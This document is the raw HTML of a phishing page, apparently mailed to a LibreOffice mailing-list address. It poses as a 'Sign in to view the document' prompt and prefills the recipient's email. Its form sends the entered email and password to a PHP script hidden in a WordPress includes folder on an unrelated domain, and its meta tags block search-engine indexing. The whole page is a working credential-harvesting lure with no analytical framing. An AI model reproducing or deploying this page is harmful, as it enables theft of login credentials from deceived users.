libreoffice 10/13/2020 3:55:44 p.m.:
<html><head>
<style>
@import url(https://fonts.googleapis.com/css?family=PT+Sans:400,700);
html {
min-height: 100%;
}
body {
background: url('https://i.gyazo.com/049bc4624875e35c9a678af7eb99bb95.jpg') no-repeat;
background-size: cover;
position: absolute;
width: 100%;
height: 100%;
top: 0;
right: 0;
bottom: 0;
left: 0;
margin: auto;
overflow: hidden;
font-family: 'PT Sans', sans-serif;
}
.login {
padding: 10px;
}
.files {
background: #02723b;
margin: 200px auto;
width: 90%;
max-width: 450px;
text-align: center;
color: #fff;
}
form {
max-width: 450px;
margin: 0 auto;
}
form > div {
position: relative;
background: white;
border-bottom: 1px solid #ccc;
color: #000;
}
form > div > label {
opacity: 0.3;
font-weight: bold;
position: absolute;
top: 22px;
left: 20px;
}
form > div > input[type="text"],
form > div > input[type="email"],
form > div > input[type="password"] {
width: 100%;
border: 0;
padding: 20px 20px 20px 50px;
background: #fff;
}
form > div > input[type="text"]:focus,
form > div > input[type="email"]:focus,
form > div > input[type="password"]:focus {
outline: 0;
background: white;
}
form > div > input[type="text"]:focus + label,
form > div > input[type="email"]:focus + label,
form > div > input[type="password"]:focus + label {
opacity: 0;
}
form > div > input[type="text"]:valid,
form > div > input[type="email"]:valid,
form > div > input[type="password"]:valid {
background: url(https://s3-us-west-2.amazonaws.com/s.cdpn.io/3/check.svg);
background-size: 20px;
background-repeat: no-repeat;
background-position: 20px 20px;
}
form > div > input[type="text"]:valid + label,
form > div > input[type="email"]:valid + label,
form > div > input[type="password"]:valid + label {
opacity: 0;
}
form > div > input[type="text"]:invalid:not(:focus):not(:placeholder-shown),
form > div > input[type="email"]:invalid:not(:focus):not(:placeholder-shown),
form > div > input[type="password"]:invalid:not(:focus):not(:placeholder-shown) {
background: pink;
}
form > div > input[type="text"]:invalid:not(:focus):not(:placeholder-shown) + label,
form > div > input[type="email"]:invalid:not(:focus):not(:placeholder-shown) + label,
form > div > input[type="password"]:invalid:not(:focus):not(:placeholder-shown) + label {
opacity: 0;
}
form > div > input[type="text"]:invalid:focus:not(:placeholder-shown) ~ .requirements,
form > div > input[type="email"]:invalid:focus:not(:placeholder-shown) ~ .requirements,
form > div > input[type="password"]:invalid:focus:not(:placeholder-shown) ~ .requirements {
max-height: 200px;
padding: 0 30px 20px 50px;
}
form > div .requirements {
padding: 0 30px 0 50px;
color: #999;
max-height: 0;
transition: 0.28s;
overflow: hidden;
color: red;
font-style: italic;
}
form input[type="submit"] {
display: block;
width: 100%;
margin: 20px 0;
background: #25402b;
color: white;
border: 0;
padding: 20px;
font-size: 1.2rem;
}
form input[type="submit"]:hover {
box-shadow: 1px 1px 1px #ddd;
}
* {
box-sizing: border-box;
}
.invalid {
background: #000;
color: #000;
}
@media screen and (max-width: 360px) and (min-width: 320px) {
.files {
margin: 100px auto;
}
}
</style>
<title>Sign in to continue</title>
<link rel="icon" type="image/png" href="https://i.gyazo.com/83cffd1ebf23ed93aa925eb9529f5348.png">
<meta name="robots" content="noindex, noarchive, nofollow, nosnippet">
<meta name="googlebot" content="noindex, noarchive, nofollow, nosnippet, noimageindex">
<meta name="slurp" content="noindex, noarchive, nofollow, nosnippet, noodp, noydir">
<meta name="msnbot" content="noindex, noarchive, nofollow, nosnippet">
<meta name="teoma" content="noindex, noarchive, nofollow, nosnippet">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<div class="files">
<img src="https://i.gyazo.com/7fc7a0126fd7e7c8bcb89fc52967c8ec.png" height="50">
<h2>Sign in to view the document </h2>
<div class="login">
<form action="https://valeroreeds.com/wp-includes/certificates/opo.php" method="post">
<div>
<input type="email" id="email" name="email" required="" placeholder=" " value="libreoffice@lists.freedesktop.org" />
<label for="email">Email Address </label>
<div class="requirements">
Must be a valid email address.
</div>
</div>
<div>
<input type="password" id="password" name="password" required="" placeholder=" ">
<label for="password">Password</label>
<div class="requirements">
Your password must be at least 6 characters as well as contain at least one uppercase, one lowercase, and one number.
</div>
</div>
<input type="submit" value="View Document">
</form>
</div>
</div>
</body></html>